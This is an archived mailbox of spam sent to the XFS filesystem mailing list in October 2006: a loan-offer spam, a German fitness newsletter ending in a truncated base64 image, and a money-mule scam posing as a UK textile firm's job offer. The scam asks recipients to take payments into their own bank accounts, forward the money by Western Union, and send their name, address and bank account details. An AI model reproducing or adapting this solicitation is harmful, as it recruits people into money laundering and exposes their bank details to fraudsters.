Received: from 3A851DA0 (89.0.120.6.dynamic.barak-online.net [89.0.120.6]) by cuda.sgi.com (Spam Firewall) with SMTP id 0540A4C1072 for ; Sun, 22 Oct 2006 10:16:52 -0700 (PDT) Received: from Pena.Pena.net (conscious.Pena.net) by Pena.Pena.net Pena with ESMTP id g48Gapp05632 for ; Sun, 22 Oct 2006 15:15:51 -0300 Message-Id: From: "LeonorcncMontanocem@charter.net" Date: Sun, 22 Oct 2006 13:09:51 -0500 To: xfs@oss.sgi.com X-ASG-Orig-Subj: boor Subject: boor X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23799 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9389 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: JosiahhyAshleyfmcv@excite.com Precedence: bulk X-list: xfs Status: O No one can beat our rates immediate quote, quick approval, secure form, no sensitive info is ever asked http://hk.geocities.com/Pagan2_e481/ Best Regards, Marcella Pena Approval Manager barbarous not acquiesce and assuage on bodybuilding try adagio but addenda be configuration in agrimony the acrobat it's archetypical not crowberry it's continua the From owner-xfs@oss.sgi.com Sun Oct 22 17:07:56 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 22 Oct 2006 17:08:03 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9N07saG001513 for ; Sun, 22 Oct 2006 17:07:56 -0700 X-ASG-Debug-ID: 1161557579-7121-74-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from magma.bpweb.net (magma.bpweb.net [83.223.106.11]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3BFDFD1A05AA for ; Sun, 22 Oct 2006 15:52:59 -0700 (PDT) Received: from magma.bpweb.net (localhost [127.0.0.1]) by magma.bpweb.net (8.13.1/8.13.1) with ESMTP id k9MMqPPu026954 for ; Sun, 22 Oct 2006 23:52:25 +0100 Received: (from apache@localhost) by magma.bpweb.net (8.13.1/8.13.1/Submit) id k9MMqPrH026952; Sun, 22 Oct 2006 23:52:25 +0100 Date: Sun, 22 Oct 2006 23:52:25 +0100 Message-Id: <200610222252.k9MMqPrH026952@magma.bpweb.net> To: xfs@oss.sgi.com X-ASG-Orig-Subj: Job Proposal Subject: Job Proposal X-PHP-SCRIPT: mail() - ggnc.co.uk/modules/jinzora2/backend/primitives/cache/media.php From: Daniel Gerrad Reply-To: daniel_gerrad234@yahoo.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.22 X-Barracuda-Spam-Status: No, SCORE=0.22 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=FROM_HAS_ULINE_NUMS X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23829 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.22 FROM_HAS_ULINE_NUMS From: contains an underline and numbers/letters X-archive-position: 9390 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: daniel_gerrad234@yahoo.co.uk Precedence: bulk X-list: xfs Status: O Good day, I'm Mr Daniel Gerrad and I own a company Based on Chinese and African textile and fabric material in UK,I'm in search for a trustworthy representative in Australia and New zealand that can help as a link between me and my clients over there. just reviewed your email through my email search I would like to know if your are interested to work from home for us DL COMPANY LIMITED . I Urgently need a representative in Australia and New Zealand,work online from home and get paid weekly without leaving or affecting your present job? My Company produces various clothing materials, batiks,assorted fabrics and traditional costumes.We have clients we supply weekly in Australia and my clients make payments for our supplies every week in form of online transfer which will take 45days to be credited here if it is transferred here directly,so I need a honest and sincere individual in Australia to work as my representative and assist me in processing the payments from our clients and I will pay him/her 10% per each payment recieved on my behalf,your likely to recieve 6 payments per week,minimum of 4. HAVE AN IDEA OF WHAT YOUR EXPECTED TO TAKE CARE OFF ----------------------------------------------------- Receive payments from my patronizing customers in Australia and New Zealand on my behalf into your bank account, then deduct 10% from the total funds recieved as your workmanship and forward the balance to me Via Western Union Money Transfer.(the transfer charges should also be deducted from the total amount your sending to me).This paymentwould be via bank transfers. Sheryl Shavers (my former representative has moved to Germany with her family) Our payments will be issued out in your name and sent to your bank accounts. So all I need is to forward your information to my numerous customers in Australia and I will contact you before they issue payment in form online transfers to you. so if you do not have an account with them you ll need to get one. Hope to get a favourable reply, if accepted to be my rep and get back to me with the following informations in this format. Full: Name : full Address : Tel number : Sex : Age : Account name: BSB: Account no: I will need this informtions from you for my record,also if you require more information, do not hesitate to contact me,i will give you a call asap. Thanks. MR. Daniel Gerrad Managing Director DL ARTS LIMITED From owner-xfs@oss.sgi.com Sun Oct 22 17:34:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 22 Oct 2006 17:34:50 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9N0YbaG004551 for ; Sun, 22 Oct 2006 17:34:38 -0700 X-ASG-Debug-ID: 1161558865-1757-435-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtprelay01.ispgateway.de (smtprelay01.ispgateway.de [80.67.18.13]) by cuda.sgi.com (Spam Firewall) with ESMTP id 21B6E4C336E for ; Sun, 22 Oct 2006 16:14:25 -0700 (PDT) Received: (qmail 30621 invoked from network); 22 Oct 2006 23:14:19 -0000 Received: from unknown (HELO XMailer) (613327@[85.212.176.175]) (envelope-sender ) by smtprelay01.ispgateway.de (qmail-ldap-1.03) with SMTP for ; 22 Oct 2006 23:14:19 -0000 From: "Academy of Sports" To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Academy of Sports - HERBST - NEWS Subject: Academy of Sports - HERBST - NEWS Date: Mon, 23 Oct 2006 01:14:13 +0100 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Mail X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Message-Id: <20061022231425.21B6E4C336E@cuda.sgi.com> X-Barracuda-Spam-Score: 0.94 X-Barracuda-Spam-Status: No, SCORE=0.94 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MIME_BOUND_NEXTPART, MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23827 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.24 MIME_BOUND_NEXTPART Spam tool pattern in MIME boundary X-archive-position: 9391 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: news@academyofsports.net Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. ------=_NextPart_1 Content-Type: multipart/alternative; boundary="----=_NextPart_2" ------=_NextPart_2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Ausbildungen und Seminare in den Bereichen Fitness - Group Fitness - Ern=E4= hrung - Wellness USE YOUR MIND, MOVE YOUR BODY! Infomaterial - via Email oder Post? Falls ihr Informationen zu uns, unserem Kursprogramm oder einer bestimmten = Ausbildung bekommen m=F6chtet, k=F6nnt ihr diese hier bestellen. Bei Fragen stehen wir euch a= uch gerne via Email und Telefon zur Verf=FCgung. Online-Katalog 2007 http://www.academyofsports.net/AcademyofSports_Uebersicht2007.pdf Kursgutscheine - Weihnachten r=FCckt n=E4her! Ihr braucht noch ein Weihnachtsgeschenk? Kein Problem! Ob Ern=E4hrungssemin= ar oder Fitnesstrainerausbildung, wir erstellen euch gerne Gutscheine f=FCr= eure Lieben. Fragt einfach via Email nach! Unser komplettes Angebot finden Sie hier! http://www.academyofsports.net/AcademyofSports_Uebersicht2007.pdf MwSt.? Sagt mir nix! Wir erlassen euch bei Anmeldungen bis zum 19. November 2006 die Mehr= wertsteuer!!! Die Kurstermine bis Ende 2007 k=F6nnt ihr hier abrufen. Lasst euch d= ieses Angebot nicht entgehen!

Bitte auf der Anmeldung "Herbstakt= ion" vermerken! Downloadbereich http://www.academyofsports.net/anmeldung.html Erste-Hilfe-Kurs f=FCr Sportgruppen Zusammen mit den Malteser G=F6ppingen haben wir einen Erste-Hilfe-Kurs mit = 16h speziell f=FCr Sportgruppen organisiert. Mit diesem Kurs seid ihr als T= rainer optimal im Ernstfall vorbereitet. Nat=FCrlich erhaltet ihr eine aner= kannte Teilnahmebest=E4tigung. Der Zweit=E4gige Kurs kostet euch nur 20= =80! Weitere Infos bitte via Email oder Telefon 07191368271 anfragen. Impressum: Academy of Sports - Backnanger Str. 30 - 71573 Allmersbach - Fon/Fax 07191-= 368271 info@academyofsports.net www.academyofsports.net ------=_NextPart_2 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Academy of Sports - HERBST - NEWS
3D""=20

Ausbildungen und Seminare in den Bereichen Fitness - Group Fitness - Ern=E4= hrung - Wellness

USE YOUR MIND, MOVE YOUR BODY!


3D""

3D"" Infomaterial - via Email oder Post?
Falls ihr Informationen zu uns, unserem Kursprogramm oder einer bestimmten = Ausbildung bekommen m=F6chtet, k=F6nnt ihr diese hier bestellen. Bei Fragen stehen wir euch a= uch gerne via Email und Telefon zur Verf=FCgung.
Online-Katalog 2007

3D""

3D"" Kursgutscheine - Weihnachten r=FCckt n=E4her!
Ihr braucht noch ein Weihnachtsgeschenk? Kein Problem! Ob Ern=E4hrungssemin= ar oder Fitnesstrainerausbildung, wir erstellen euch gerne Gutscheine f=FCr= eure Lieben. Fragt einfach via Email nach!
Unser komplettes Angebot finden Sie hier!

3D""

3D"" MwSt.? Sagt mir nix!
Wir erlassen euch bei Anmeldungen bis zum 19. November 2006 die Mehr= wertsteuer!!! Die Kurstermine bis Ende 2007 k=F6nnt ihr hier abrufen. Lasst euch d= ieses Angebot nicht entgehen!

Bitte auf der Anmeldung "Herbstakt= ion" vermerken!

Downloadbereich

3D""

3D"" Erste-Hilfe-Kurs f=FCr Sportgruppen
Zusammen mit den Malteser G=F6ppingen haben wir einen Erste-Hilfe-Kurs mit = 16h speziell f=FCr Sportgruppen organisiert. Mit diesem Kurs seid ihr als T= rainer optimal im Ernstfall vorbereitet. Nat=FCrlich erhaltet ihr eine aner= kannte Teilnahmebest=E4tigung. Der Zweit=E4gige Kurs kostet euch nur 20= =80! Weitere Infos bitte via Email oder Telefon 07191368271 anfragen.

3D""


Academy of Sports - Backnanger Str. 30 - 71573 Allmersbach - Fon/Fax 07191-= 368271

info@academyofsports.net
www.academyofsports.net


Newsletter kann hier abbestellt werden.
------=_NextPart_2-- ------=_NextPart_1 Content-Type: image/jpg; Content-Transfer-Encoding: base64 Content-ID: <1B_head_3.jpg> /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJ ChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/ 2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAA8AlgDASIAAhEBAxEB/8QA HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUF BAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1 dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEB AQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAEC AxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRom JygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU 1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD6poorgda8 eyaNqUtnd6Q4dOjCbhx2I+XpXPicVSwsVKq7J+T/AEOnDYStipOFFXa81+pH 8aviHF8OPB7ap5K3V9cSC3s4GOFaQgnLY52gAk468DjOa+WdO/aS8f22qi6u ruyu7TdlrN7VFTHoGUBh9ST+Ne2fHHQ5viz8OIZ/DaF9W0qfzzZlhudSpDKP U9CPXBHWvkvT/BPibUNVXTLTQNTa+3bTCbZ1Kn/ayPlHucCtadSNWKnB3TMq tKdGbp1FZo/RDwJ4mtfGHhLTNe08MkF7Fv2MclGBKsp+jAj8K6CvnmXx1pnw A+H3hvwvex/2trwjaW4toJgoi3szsS2DxubaOOQM8VR079qEahKq2vgm+lUu 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 